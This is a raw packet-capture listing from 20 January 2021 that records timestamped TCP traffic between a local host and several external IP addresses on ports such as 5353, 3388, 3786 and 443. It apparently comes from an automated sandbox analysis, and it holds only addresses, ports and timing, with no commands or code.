Jan 20, 2021 16:15:21.476002932 CET	5353	49269	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:21.476121902 CET	49269	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:21.481095076 CET	49269	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:21.502207041 CET	3388	49272	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.502228975 CET	3388	49272	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.502265930 CET	49272	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.502290010 CET	49272	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.504700899 CET	49272	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.585582018 CET	3388	49274	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.585777044 CET	3388	49274	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.585890055 CET	49274	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.601794004 CET	49277	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.604621887 CET	5353	49276	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:21.604830980 CET	49276	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:21.605184078 CET	5353	49275	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:21.606266022 CET	49276	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:21.615674973 CET	5353	49275	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:21.615699053 CET	5353	49275	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:21.615768909 CET	49275	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:21.625032902 CET	49275	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:21.632065058 CET	49278	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:21.673484087 CET	3388	49272	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.754908085 CET	3388	49274	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.770149946 CET	3786	49273	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:21.770195961 CET	3786	49273	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:21.770265102 CET	49273	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:21.770309925 CET	49273	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:21.770553112 CET	5353	49269	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:21.770622015 CET	3388	49277	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.770731926 CET	49277	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.772207022 CET	49277	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.772603035 CET	49273	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:21.814968109 CET	3786	49278	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:21.815099955 CET	49278	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:21.816627979 CET	49278	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:21.882601976 CET	49279	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:21.891833067 CET	5353	49276	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:21.901952982 CET	5353	49276	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:21.901977062 CET	5353	49276	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:21.902271032 CET	49276	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:21.914071083 CET	49276	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:21.917284966 CET	5353	49275	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:21.917447090 CET	49275	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:21.940947056 CET	3388	49277	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.947756052 CET	3388	49277	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.947773933 CET	3388	49277	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:21.947849989 CET	49277	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.955115080 CET	3786	49273	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:21.963121891 CET	49277	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:21.966897964 CET	49275	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:21.967080116 CET	49275	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:22.002156973 CET	3786	49278	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:22.009865046 CET	443	49279	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:22.009999990 CET	49279	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:22.011576891 CET	49279	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:22.031023979 CET	3786	49278	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:22.031047106 CET	3786	49278	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:22.031189919 CET	49278	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.043340921 CET	49278	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.080702066 CET	3388	49274	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:22.080749035 CET	3388	49274	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:22.080777884 CET	49274	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:22.080804110 CET	49274	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:22.083494902 CET	49274	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:22.132019043 CET	3388	49277	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:22.132440090 CET	3388	49277	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:22.132548094 CET	49277	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:22.139183998 CET	443	49279	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:22.143412113 CET	49277	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:22.143613100 CET	49277	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:22.161134005 CET	443	49279	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:22.161159992 CET	443	49279	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:22.161283016 CET	49279	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:22.172472000 CET	49279	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:22.203095913 CET	5353	49276	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:22.203336000 CET	49276	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:22.214050055 CET	49276	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:22.214135885 CET	49276	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:22.231645107 CET	3786	49278	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:22.231724024 CET	49278	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.235877037 CET	49278	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.235976934 CET	49278	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.252665997 CET	3388	49274	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:22.263612986 CET	49280	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.264935970 CET	5353	49275	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:22.265049934 CET	49275	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:22.306884050 CET	443	49279	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:22.306993008 CET	49279	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:22.312297106 CET	3388	49277	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:22.312340975 CET	3388	49277	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:22.312444925 CET	49277	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:22.330867052 CET	49279	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:22.331121922 CET	49279	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:22.419294119 CET	3786	49278	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:22.419434071 CET	49278	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.447238922 CET	3786	49280	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:22.447365999 CET	49280	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.449275017 CET	49280	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.458343983 CET	443	49279	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:22.458386898 CET	3786	49278	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:22.458471060 CET	49279	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:22.481311083 CET	3388	49277	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:22.497888088 CET	443	49279	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:22.499686003 CET	5353	49276	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:22.499861956 CET	49276	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:22.539921045 CET	5353	49276	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:22.554301023 CET	5353	49275	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:22.586484909 CET	443	49279	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:22.586508036 CET	443	49279	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:22.602150917 CET	3786	49278	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:22.632846117 CET	3786	49280	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:22.649079084 CET	3786	49280	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:22.649101973 CET	3786	49280	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:22.649137974 CET	49280	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.649168015 CET	49280	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.655514956 CET	49280	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.786305904 CET	5353	49276	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:22.801096916 CET	3388	49277	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:22.801142931 CET	3388	49277	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:22.801243067 CET	49277	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:22.801290989 CET	49277	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:22.806906939 CET	49277	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:22.843283892 CET	443	49279	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:22.843312025 CET	443	49279	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:22.843341112 CET	49279	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:22.843369007 CET	49279	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:22.844726086 CET	3786	49280	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:22.844780922 CET	49280	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.846613884 CET	49279	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:22.855659008 CET	49280	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.855782032 CET	49280	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.923702955 CET	49281	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.953901052 CET	49282	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:22.963279009 CET	3786	49278	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:22.963313103 CET	3786	49278	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:22.963361025 CET	49278	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.963390112 CET	49278	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.965653896 CET	49278	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:22.973826885 CET	443	49279	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:22.975775003 CET	3388	49277	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:23.039026976 CET	3786	49280	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:23.039154053 CET	49280	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:23.077753067 CET	3786	49280	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:23.084090948 CET	49283	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:23.106730938 CET	3786	49281	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:23.107712030 CET	49281	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:23.108011961 CET	49281	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:23.144318104 CET	5353	49275	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:23.144347906 CET	5353	49275	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:23.144445896 CET	49275	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:23.144495964 CET	49275	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:23.148252010 CET	3786	49278	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:23.150368929 CET	49275	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:23.211441040 CET	443	49283	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:23.211663008 CET	49283	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:23.213212013 CET	49283	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:23.222383976 CET	3786	49280	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:23.246267080 CET	5353	49282	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:23.246393919 CET	49282	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:23.252218962 CET	49282	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:23.266964912 CET	49284	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:23.290712118 CET	3786	49281	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:23.292769909 CET	49166	80	192.168.2.22	103.11.153.223
Jan 20, 2021 16:15:23.310389996 CET	3786	49281	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:23.310421944 CET	3786	49281	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:23.310570002 CET	49281	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:23.319631100 CET	49281	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:23.340718985 CET	443	49283	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:23.363163948 CET	443	49283	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:23.363250017 CET	443	49283	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:23.363276958 CET	49283	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:23.363302946 CET	49283	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:23.368525982 CET	5353	49276	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:23.368599892 CET	5353	49276	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:23.368757963 CET	49276	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:23.372719049 CET	49283	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:23.375144958 CET	49276	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:23.436645985 CET	3388	49284	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:23.436847925 CET	49284	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:23.438791990 CET	49284	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:23.443058968 CET	5353	49275	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:23.492788076 CET	49285	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:23.507183075 CET	443	49283	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:23.507289886 CET	49283	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:23.508563995 CET	3786	49281	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:23.508682013 CET	49281	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:23.515242100 CET	49281	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:23.515274048 CET	49281	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:23.517954111 CET	49283	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:23.518131971 CET	49283	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:23.544514894 CET	5353	49282	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:23.554687977 CET	5353	49282	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:23.554724932 CET	5353	49282	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:23.554868937 CET	49282	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:23.568694115 CET	49282	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:23.588692904 CET	3786	49280	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:23.588735104 CET	3786	49280	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:23.588836908 CET	49280	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:23.588880062 CET	49280	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:23.595117092 CET	49280	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:23.608321905 CET	3388	49284	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:23.615010977 CET	3388	49284	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:23.615042925 CET	3388	49284	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:23.615147114 CET	49284	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:23.625359058 CET	49284	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:23.645657063 CET	443	49283	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:23.645785093 CET	49283	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:23.660728931 CET	5353	49276	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:23.661652088 CET	3388	49285	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:23.661792994 CET	49285	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:23.663050890 CET	49285	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:23.687638998 CET	443	49283	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:23.707937956 CET	49286	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:23.710305929 CET	3786	49281	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:23.710398912 CET	49281	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:23.745446920 CET	3786	49281	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:23.773466110 CET	443	49283	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:23.773494005 CET	443	49283	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:23.778414011 CET	3786	49280	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:23.795249939 CET	3388	49284	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:23.795731068 CET	3388	49284	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:23.795871973 CET	49284	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:23.807197094 CET	49284	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:23.807456017 CET	49284	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:23.831983089 CET	3388	49285	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:23.835598946 CET	443	49286	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:23.835730076 CET	49286	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:23.838649035 CET	3388	49285	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:23.838675976 CET	3388	49285	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:23.839011908 CET	49285	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:23.855330944 CET	49285	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:23.864598989 CET	5353	49282	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:23.865011930 CET	49282	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:23.874711990 CET	49282	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:23.874763012 CET	49282	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:23.893197060 CET	3786	49281	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:23.893213987 CET	3786	49281	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:23.976604939 CET	3388	49284	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:23.976639032 CET	3388	49284	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:23.977678061 CET	49284	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:24.024136066 CET	3388	49285	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:24.024622917 CET	3388	49285	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:24.024765968 CET	49285	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:24.027903080 CET	443	49283	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:24.027918100 CET	443	49283	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:24.028069019 CET	49283	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:24.028124094 CET	49283	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:24.033674955 CET	49283	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:24.036613941 CET	49285	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:24.036830902 CET	49285	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:24.143033981 CET	49287	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:24.147320986 CET	3388	49284	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:24.160917997 CET	443	49283	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:24.167538881 CET	5353	49282	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:24.167635918 CET	49282	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:24.205564022 CET	3388	49285	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:24.205617905 CET	3388	49285	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:24.205688953 CET	49285	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:24.258831978 CET	3786	49281	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:24.258867025 CET	3786	49281	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:24.259056091 CET	49281	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:24.259078026 CET	49281	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:24.265268087 CET	49281	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:24.374675035 CET	3388	49285	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:24.381572962 CET	49288	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:24.430140018 CET	5353	49287	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:24.430380106 CET	49287	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:24.431225061 CET	49287	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:24.448565960 CET	3786	49281	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:24.460474014 CET	5353	49282	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:24.463754892 CET	3388	49284	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:24.463776112 CET	3388	49284	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:24.463849068 CET	49284	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:24.467888117 CET	49284	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:24.508954048 CET	443	49288	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:24.509080887 CET	49288	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:24.510687113 CET	49288	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:24.579165936 CET	49289	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:24.637454033 CET	3388	49284	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:24.637847900 CET	443	49288	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:24.661545992 CET	443	49288	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:24.661581039 CET	443	49288	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:24.661778927 CET	49288	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:24.672728062 CET	49288	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:24.696904898 CET	3388	49285	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:24.696928978 CET	3388	49285	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:24.696990967 CET	49285	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:24.704231977 CET	49285	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:24.716742992 CET	5353	49287	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:24.731142044 CET	5353	49287	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:24.731168985 CET	5353	49287	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:24.731254101 CET	49287	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:24.731283903 CET	49287	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:24.745745897 CET	49287	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:24.769193888 CET	3786	49289	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:24.769429922 CET	49289	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:24.771024942 CET	49289	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:24.807426929 CET	443	49288	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:24.807513952 CET	49288	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:24.810878038 CET	49290	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:24.818228006 CET	49288	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:24.818465948 CET	49288	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:24.872962952 CET	3388	49285	69.164.207.140	192.168.2.22
Jan 20, 2021 16:15:24.945782900 CET	443	49288	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:24.945939064 CET	49288	443	192.168.2.22	194.225.58.214
Jan 20, 2021 16:15:24.953613043 CET	3786	49289	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:24.985677958 CET	443	49288	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:24.995269060 CET	3786	49289	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:24.995347977 CET	49289	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:24.995460033 CET	3786	49289	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:24.995516062 CET	49289	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:24.995570898 CET	3786	49290	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:24.995659113 CET	49290	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:24.999871016 CET	49290	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:25.001949072 CET	49289	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:25.035352945 CET	5353	49287	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:25.035445929 CET	49287	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:25.040472984 CET	49287	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:25.040596962 CET	49287	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:25.049475908 CET	5353	49282	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:25.049498081 CET	5353	49282	211.110.44.63	192.168.2.22
Jan 20, 2021 16:15:25.049595118 CET	49282	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:25.053910971 CET	49282	5353	192.168.2.22	211.110.44.63
Jan 20, 2021 16:15:25.074618101 CET	443	49288	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:25.074634075 CET	443	49288	194.225.58.214	192.168.2.22
Jan 20, 2021 16:15:25.168930054 CET	49291	3388	192.168.2.22	69.164.207.140
Jan 20, 2021 16:15:25.182394028 CET	3786	49290	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:25.194128036 CET	3786	49289	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:25.194212914 CET	49289	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:25.201113939 CET	49289	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:25.201235056 CET	49289	3786	192.168.2.22	198.57.200.100
Jan 20, 2021 16:15:25.219839096 CET	3786	49290	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:25.219861984 CET	3786	49290	198.57.200.100	192.168.2.22
Jan 20, 2021 16:15:25.219973087 CET	49290	3786	192.168.2.22	198.57.200.100
